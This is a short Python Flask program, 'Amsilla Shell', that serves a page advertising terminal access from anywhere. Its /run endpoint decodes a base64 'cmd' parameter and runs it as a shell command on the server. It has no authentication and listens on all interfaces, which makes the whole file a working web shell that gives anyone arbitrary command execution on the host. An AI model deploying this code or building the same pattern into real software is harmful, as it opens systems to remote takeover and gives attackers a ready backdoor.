import subprocess from base64 import b64decode from flask import Flask, request def atob(txt) -> str: return b64decode(bytes(txt,'utf-8')).decode() app = Flask('app') @app.route('/') def hello_world(): return """ Amsilla Shell

Amsilla Shell

Access your terminal from anywhere. LOADING...

Amsilla Shell
Shell$ 
""" @app.route("/run") def run_command(): cmd = request.args.get("cmd") or "echo Amsilla Shell: Could not get CMD param." data = subprocess.getoutput(atob(cmd)) return data app.run(host='0.0.0.0', port=8080)